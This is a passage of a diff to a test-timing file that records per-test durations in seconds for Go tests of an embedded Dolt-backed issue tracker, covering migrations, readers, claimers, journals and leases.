"TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps": 1.73, - "TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID": 3.79, - "TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction": 3.06, - "TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults": 3.54, - "TestEmbeddedIssueOperationsRequestValuesAreNotMutated": 2.19, - "TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged": 9.04, - "TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix": 2.15, - "TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState": 3.17, - "TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses": 2.12, - "TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim": 0.65, - "TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose": 9.43, - "TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent": 1.36, - "TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel": 0.52, - "TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps": 0.98, - "TestEmbeddedIssueOperationsUpdateLabelPatchOrdering": 1.06, - "TestEmbeddedIssueOperationsUpdateLabelPatchValueRules": 1.24, - "TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates": 1.93, - "TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel": 0.65, - "TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure": 6.98, - "TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": 0.77, - "TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary": 1.62, - "TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": 1.03, - "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender": 5.16, - "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers": 3.93, - "TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField": 1.6, - "TestEmbeddedLenientOpenWarning_DataBehind": 55.67, - "TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance": 10.91, - "TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge": 0.45, - "TestEmbeddedMergeAndSettleFKCascadeRepair": 1.89, - "TestEmbeddedMergeAndSettleMemoryConfigConflict": 0.47, - "TestEmbeddedMergeAndSettleMetadataConflict": 0.45, - "TestEmbeddedMergeAndSettleRefusesUnknownTable": 0.8, - "TestEmbeddedMergeAndSettleReportsOperatorConflicts": 0.69, - "TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict": 0.49, - "TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers": 14.45, - "TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566": 18.94, - "TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690": 13.55, - "TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566": 7.62, - "TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566": 8.24, - "TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain": 10.21, - "TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext": 10.7, - "TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation": 6.17, - "TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints": 7.11, - "TestEmbeddedMigration0058HealsAlreadyAffectedDatabase": 6.63, - "TestEmbeddedMigration0062FlipsEventsToIgnoredPlane": 5.08, - "TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke": 11.27, - "TestEmbeddedOpenForReadOnlyCommand_LenientGate": 10.66, - "TestEmbeddedOpenForRemoteSync_DataBehind": 21.05, - "TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal": 10.86, + "TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion": 11.08, + "TestEmbeddedGetMergeBlockersOnAQuietStore": 0.33, + "TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches": 1.76, + "TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones": 9.22, + "TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace": 9.27, + "TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables": 8.49, + "TestEmbeddedIgnoredMigration0023RepairsForkLineageJournalShape": 9.36, + "TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape": 21.5, + "TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone": 2.74, + "TestEmbeddedIssueOperationsCloseAndReopenAWisp": 1.32, + "TestEmbeddedIssueOperationsCreateAggregatesRelations": 1.4, + "TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp": 1.05, + "TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies": 1.95, + "TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure": 2.61, + "TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables": 1.18, + "TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps": 2.08, + "TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID": 4.06, + "TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction": 3.48, + "TestEmbeddedIssueOperationsPersistenceRollbackWispAndDetachedResults": 3.99, + "TestEmbeddedIssueOperationsRequestValuesAreNotMutated": 1.75, + "TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged": 9.43, + "TestEmbeddedIssueOperationsUpdateClaimCASAndTransferMatrix": 1.85, + "TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState": 2.5, + "TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses": 1.71, + "TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim": 0.62, + "TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose": 11.59, + "TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent": 1.49, + "TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel": 0.51, + "TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps": 1.16, + "TestEmbeddedIssueOperationsUpdateLabelPatchOrdering": 1.04, + "TestEmbeddedIssueOperationsUpdateLabelPatchValueRules": 2.4, + "TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates": 1.75, + "TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel": 0.49, + "TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure": 6.15, + "TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes": 0.94, + "TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary": 1.17, + "TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress": 1.1, + "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender": 5.4, + "TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers": 5.3, + "TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField": 1.16, + "TestEmbeddedLenientOpenWarning_DataBehind": 49.93, + "TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance": 13.58, + "TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge": 0.53, + "TestEmbeddedMergeAndSettleFKCascadeRepair": 1.71, + "TestEmbeddedMergeAndSettleMemoryConfigConflict": 0.49, + "TestEmbeddedMergeAndSettleMetadataConflict": 0.43, + "TestEmbeddedMergeAndSettleRefusesUnknownTable": 0.5, + "TestEmbeddedMergeAndSettleReportsOperatorConflicts": 0.86, + "TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict": 0.54, + "TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers": 16.75, + "TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566": 22.49, + "TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690": 9.59, + "TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566": 10.78, + "TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566": 10.49, + "TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain": 10.53, + "TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext": 14.21, + "TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation": 6.55, + "TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints": 6.64, + "TestEmbeddedMigration0058HealsAlreadyAffectedDatabase": 6.74, + "TestEmbeddedMigration0062FlipsEventsToIgnoredPlane": 5.98, + "TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke": 12.76, + "TestEmbeddedOpenForReadOnlyCommand_LenientGate": 20.67, + "TestEmbeddedOpenForRemoteSync_DataBehind": 31.77, + "TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal": 13.44, "TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites": 0.0, - "TestEmbeddedOpenReadOnly_SkipsGateAndMigrations": 12.74, - "TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape": 36.7, - "TestEmbeddedReaderDoesNotMutateTheCallerRequest": 0.57, - "TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows": 1.08, - "TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue": 1.0, - "TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay": 0.32, - "TestEmbeddedReaderGetOptionalRowListsAreOffByDefault": 1.44, - "TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes": 1.46, - "TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse": 1.95, - "TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge": 3.36, - "TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides": 3.68, - "TestEmbeddedReaderListEmptyPageIsWellFormed": 0.46, - "TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder": 3.81, - "TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates": 2.31, - "TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder": 0.92, - "TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing": 3.0, - "TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress": 1.82, - "TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset": 2.54, - "TestEmbeddedReaderListMaxRowsIsHonored": 1.65, - "TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch": 2.14, - "TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn": 1.26, - "TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing": 2.44, - "TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet": 1.31, - "TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters": 1.83, - "TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry": 1.79, - "TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary": 0.7, - "TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse": 2.25, - "TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet": 1.23, - "TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt": 1.58, - "TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage": 2.27, - "TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse": 1.09, - "TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType": 0.95, - "TestEmbeddedReaderReadyDeferredAndEphemeralGates": 1.2, - "TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary": 2.49, - "TestEmbeddedReaderReadyLimitBoundary": 1.18, - "TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded": 4.48, - "TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix": 44.08, - "TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants": 3.71, - "TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions": 1.77, - "TestEmbeddedReaderReadySortPoliciesOrderTheSameRows": 0.53, - "TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists": 1.05, - "TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits": 0.95, - "TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState": 1.57, - "TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest": 0.34, - "TestEmbeddedReadyClaimerEmptyFrontIsNormal": 0.72, - "TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven": 3.13, - "TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities": 3.83, - "TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne": 1.87, - "TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet": 0.73, - "TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin": 0.78, - "TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor": 0.46, - "TestEmbeddedReadyClaimerSkipsIneligibleFrontRows": 1.04, - "TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped": 5.52, - "TestEmbeddedRecomputeAllBlockedWiring": 1.79, - "TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection": 1.54, - "TestEmbeddedRelationsAnswersInThePinnedOrder": 1.21, - "TestEmbeddedRelationsDirectionSelectsTheInverseGraph": 1.0, - "TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary": 0.8, - "TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer": 1.16, - "TestEmbeddedRelationsLeavesTheCallersRequestAlone": 0.81, - "TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether": 1.47, - "TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength": 0.4, - "TestEmbeddedRelationsRefusesAnUnusableTypeFilter": 0.42, - "TestEmbeddedRelationsRefusesTheZeroDirection": 0.46, - "TestEmbeddedRelationsResolvesAWispAnchor": 1.03, - "TestEmbeddedRelationsResolvesTheAnchorIDExactly": 1.09, - "TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue": 0.42, - "TestEmbeddedRemoteMigrateGate_BlocksReopen": 9.98, - "TestEmbeddedRenameKeepsDependencyIDsDeterministic": 8.71, - "TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing": 0.94, - "TestEmbeddedReopenIssueCategorySemantics": 3.54, - "TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit": 0.62, - "TestEmbeddedRoleFixtureKitHooksAreUsable": 1.35, + "TestEmbeddedOpenReadOnly_SkipsGateAndMigrations": 11.86, + "TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape": 37.92, + "TestEmbeddedReaderDoesNotMutateTheCallerRequest": 0.67, + "TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows": 1.25, + "TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue": 1.42, + "TestEmbeddedReaderGetMissIsNotFoundAndBackendFailureDoesNotDecay": 0.31, + "TestEmbeddedReaderGetOptionalRowListsAreOffByDefault": 1.39, + "TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes": 1.1, + "TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse": 2.65, + "TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge": 4.98, + "TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides": 4.16, + "TestEmbeddedReaderListEmptyPageIsWellFormed": 0.51, + "TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder": 5.75, + "TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates": 3.44, + "TestEmbeddedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder": 1.02, + "TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing": 2.88, + "TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress": 1.54, + "TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset": 2.55, + "TestEmbeddedReaderListMaxRowsIsHonored": 1.64, + "TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch": 1.48, + "TestEmbeddedReaderListParentReachesEveryDescendantAndOnlyItsOwn": 1.59, + "TestEmbeddedReaderListPriorityKeysetWalkOverAnOversizedEqualKeyRunLosesNothingAndRepeatsNothing": 2.87, + "TestEmbeddedReaderListReadyFlagAnswersTheBlockerAwareSet": 1.4, + "TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters": 1.73, + "TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry": 2.68, + "TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary": 0.85, + "TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse": 2.02, + "TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet": 2.1, + "TestEmbeddedReaderListWispTypeNarrowsTheAdmittedPlaneRatherThanAdmittingIt": 1.72, + "TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage": 2.48, + "TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse": 1.06, + "TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType": 1.54, + "TestEmbeddedReaderReadyDeferredAndEphemeralGates": 1.19, + "TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary": 3.91, + "TestEmbeddedReaderReadyLimitBoundary": 1.22, + "TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded": 4.24, + "TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix": 43.78, + "TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants": 3.65, + "TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions": 1.79, + "TestEmbeddedReaderReadySortPoliciesOrderTheSameRows": 0.84, + "TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists": 1.37, + "TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits": 1.02, + "TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState": 1.84, + "TestEmbeddedReadyClaimerDoesNotMutateTheCallerRequest": 0.39, + "TestEmbeddedReadyClaimerEmptyFrontIsNormal": 0.6, + "TestEmbeddedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven": 3.36, + "TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities": 3.65, + "TestEmbeddedReadyClaimerLeasesADurableWinButNotAnEphemeralOne": 2.06, + "TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet": 1.04, + "TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin": 0.93, + "TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor": 0.72, + "TestEmbeddedReadyClaimerSkipsIneligibleFrontRows": 1.36, + "TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped": 10.83, + "TestEmbeddedRecomputeAllBlockedWiring": 1.91, + "TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection": 1.32, + "TestEmbeddedRelationsAnswersInThePinnedOrder": 1.31, + "TestEmbeddedRelationsDirectionSelectsTheInverseGraph": 1.12, + "TestEmbeddedRelationsFiltersByAnOpenTypeVocabulary": 1.58, + "TestEmbeddedRelationsLeavesAnExternalTargetOutOfTheAnswer": 1.28, + "TestEmbeddedRelationsLeavesTheCallersRequestAlone": 1.12, + "TestEmbeddedRelationsOrdersNeighborsFromBothPlanesTogether": 1.66, + "TestEmbeddedRelationsRefusesATypeFilterOverTheColumnLength": 0.67, + "TestEmbeddedRelationsRefusesAnUnusableTypeFilter": 0.5, + "TestEmbeddedRelationsRefusesTheZeroDirection": 0.75, + "TestEmbeddedRelationsResolvesAWispAnchor": 0.96, + "TestEmbeddedRelationsResolvesTheAnchorIDExactly": 1.2, + "TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue": 0.67, + "TestEmbeddedRemoteMigrateGate_BlocksReopen": 11.87, + "TestEmbeddedRenameKeepsDependencyIDsDeterministic": 9.9, + "TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing": 1.2, + "TestEmbeddedReopenIssueCategorySemantics": 6.31, + "TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit": 0.53, + "TestEmbeddedRoleFixtureKitHooksAreUsable": 1.32, "TestEmbeddedSQLCommitResponseLossIsIndeterminate": 0.0, - "TestEmbeddedSyncCommitsConfigBeforeMerge": 0.7, - "TestEmbeddedTempRebuildIntermediatesNeverReachHistory": 10.07, - "TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges": 0.86, - "TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit": 2.33, - "TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges": 1.52, - "TestEmbeddedTransactionWispLifecyclePersistsDurableDependent": 6.16, + "TestEmbeddedSyncCommitsConfigBeforeMerge": 0.87, + "TestEmbeddedTempRebuildIntermediatesNeverReachHistory": 13.03, + "TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges": 1.06, + "TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit": 2.22, + "TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges": 1.79, + "TestEmbeddedTransactionWispLifecyclePersistsDurableDependent": 12.61, "TestEpochContract": 0.0, - "TestEventsAutoPruneBoundsTheJournalToTheFloors": 1.73, - "TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded": 0.97, - "TestEventsAutoPruneThrottleSkipsTheSecondPass": 1.57, - "TestEventsJournalAccessor": 1.66, - "TestEventsJournalPruneNeverSplitsASkewedPair": 1.48, - "TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff": 0.97, - "TestEventsJournalReadRefusesAnInteriorHole": 1.14, - "TestEventsJournalRestartAndRetentionBoundary": 1.46, - "TestEventsJournal_ActorMatrixOnEmbedded": 4.21, - "TestEventsJournal_EmbeddedConcurrentGaplessNoDup": 2.6, - "TestEventsSinceEmbedded": 0.98, + "TestEventsAutoPruneBoundsTheJournalToTheFloors": 1.68, + "TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded": 1.02, + "TestEventsAutoPruneThrottleSkipsTheSecondPass": 2.34, + "TestEventsJournalAccessor": 1.59, + "TestEventsJournalPruneNeverSplitsASkewedPair": 1.67, + "TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff": 1.17, + "TestEventsJournalReadRefusesAnInteriorHole": 1.2, + "TestEventsJournalRestartAndRetentionBoundary": 1.68, + "TestEventsJournal_ActorMatrixOnEmbedded": 4.08, + "TestEventsJournal_EmbeddedConcurrentGaplessNoDup": 2.33, + "TestEventsSinceEmbedded": 0.79, "TestExpectedRevisionContract": 0.0, - "TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree": 24.77, - "TestForeignSkipDetailIsBounded": 5.58, - "TestGetDependentRecordsEmbedded": 2.15, - "TestGetDependentRecordsForIssuesEmbedded": 3.4, - "TestGetIssue": 2.37, - "TestGetIssueCommentsPageEmbedded": 3.1, - "TestGetLabels": 1.25, - "TestGetNextChildID": 3.75, - "TestGetReadyWorkIncludeEphemeralAppliesWispFilters": 6.5, - "TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps": 1.58, - "TestGetReadyWorkMoleculeFilter": 1.61, + "TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree": 25.13, + "TestForeignSkipDetailIsBounded": 6.11, + "TestGetDependentRecordsEmbedded": 1.95, + "TestGetDependentRecordsForIssuesEmbedded": 3.62, + "TestGetIssue": 2.57, + "TestGetIssueCommentsPageEmbedded": 3.22, + "TestGetLabels": 1.16, + "TestGetNextChildID": 3.83, + "TestGetReadyWorkIncludeEphemeralAppliesWispFilters": 5.96, + "TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps": 2.25, + "TestGetReadyWorkMoleculeFilter": 2.03, "TestGitRefPinsMatchDolt": 0.0, - "TestGraphCounterContract": 9.86, - "TestGraphWalkPlansHonorJoinHints": 5.53, + "TestGraphCounterContract": 9.1, + "TestGraphWalkPlansHonorJoinHints": 5.34, "TestHasRepository": 0.0, - "TestHeartbeatMatchesActorAcrossSpellingEmbedded": 0.56, - "TestHeartbeatRejectsWispEmbedded": 0.29, + "TestHeartbeatMatchesActorAcrossSpellingEmbedded": 0.63, + "TestHeartbeatRejectsWispEmbedded": 0.55, "TestHelperProcess": 0.0, - "TestHistoryPresenceContract": 1.96, - "TestHistory_NullTextColumns": 0.97, - "TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore": 1.86, - "TestIgnoredCursorHealConvergesFromEveryCrashState": 3.68, - "TestIgnoredCursorHealIsIdempotent": 1.62, - "TestIgnoredCursorHealNeverResurrectsRolledBackVersions": 0.92, - "TestIgnoredCursorHealRespectsOperatorOverride": 0.55, - "TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern": 0.44, - "TestIgnoredCursorHealResumeRespectsOperatorOverride": 0.7, - "TestIsBlockedBatchEmbedded": 2.12, - "TestJournalContract": 9.43, - "TestLargeBatchApplyStatementCounts356_Embedded": 22.91, - "TestLargeBatchApplyStatementCounts712_Embedded": 1.0, - "TestLargeBatchApplyStatementCountsClassic40_Embedded": 5.79, - "TestLargeBatchApplyWallClock_Embedded": 21.85, + "TestHistoryPresenceContract": 1.94, + "TestHistory_NullTextColumns": 0.98, + "TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore": 2.3, + "TestIgnoredCursorHealConvergesFromEveryCrashState": 3.34, + "TestIgnoredCursorHealIsIdempotent": 1.35, + "TestIgnoredCursorHealNeverResurrectsRolledBackVersions": 1.21, + "TestIgnoredCursorHealRespectsOperatorOverride": 0.66, + "TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern": 0.63, + "TestIgnoredCursorHealResumeRespectsOperatorOverride": 1.05, + "TestIsBlockedBatchEmbedded": 2.23, + "TestJournalContract": 6.39, + "TestLargeBatchApplyStatementCounts356_Embedded": 23.03, + "TestLargeBatchApplyStatementCounts712_Embedded": 0.0, + "TestLargeBatchApplyStatementCountsClassic40_Embedded": 6.4, + "TestLargeBatchApplyWallClock_Embedded": 23.45, "TestLargeGraphCreateTiming_Embedded": 0.0, - "TestLeaseLifecycleEmbedded": 3.01, - "TestLegacyTrackedIgnoredCursorHealsOnOpen": 0.83, - "TestLegacyTrackedIgnoredCursorUnwedgesPull": 4.25, + "TestLeaseLifecycleEmbedded": 3.29, + "TestLeaseReclaimerContract": 12.41, + "TestLegacyTrackedIgnoredCursorHealsOnOpen": 0.98, + "TestLegacyTrackedIgnoredCursorUnwedgesPull": 4.39, "TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance": 0.0, "TestLenientGateWarningBody_ShapedDecisions": 0.0, "TestLenientGateWarning_ComposedOutput": 0.0, - "TestLifecycleCloseReopenContract": 64.3, - "TestLifecycleCreateContract": 9.5, - "TestLifecycleUpdateContract": 32.78, - "TestListWisps": 1.0, - "TestMemoriesContract": 10.65, - "TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle": 1.06, - "TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict": 1.14, - "TestMergeWithStrategy_OursKeepsLocal": 0.65, - "TestMergeWithStrategy_TheirsResolvesAndCommits": 0.61, - "TestMerge_NoStrategyStillErrorsWithEscapeHatchHint": 0.52, - "TestMetadataCASContract": 9.64, - "TestOpenAfterCloseCreatesNewStore": 11.35, - "TestOpenDifferentDirsReturnsDifferentStores": 22.39, - "TestOpenReturnsCachedStore": 10.72, - "TestPartitionWispIDs": 0.75, - "TestPreviewStoreRefusesLocalMetadataWrite": 11.12, - "TestPristineEmbeddedDoltFixtureRelocatesPrefixes": 1.63, - "TestPromoteClearsNoHistory": 1.77, - "TestPromoteStillWorksWithCollisionGuard": 6.08, - "TestPruneEventsBatchDeletesTheLowestSeqsOnly": 1.23, - "TestPushCommitsPendingChangesFirst": 59.03, - "TestQuerierContract": 7.95, - "TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery": 0.63, - "TestReadyCounterContract": 4.93, - "TestReadyWorkPageTotal": 21.9, - "TestReadyWorkPageTotalFilterMatrix": 15.52, - "TestReadyWorkStatementBudget": 14.59, - "TestReadyWorkWithMissingDeferredParentTables": 4.54, - "TestReclaimAnyReplicaOverride": 0.71, - "TestReclaimExpiredLeaseSurvivesRestartEmbedded": 13.82, - "TestReclaimRefusesForeignReplicaLease": 0.74, - "TestReleaserContract": 5.0, + "TestLifecycleCloseReopenContract": 71.34, + "TestLifecycleCreateContract": 7.0, + "TestLifecycleUpdateContract": 39.96, + "TestListWisps": 1.01, + "TestMain": 0.0, + "TestMemoriesContract": 8.73, + 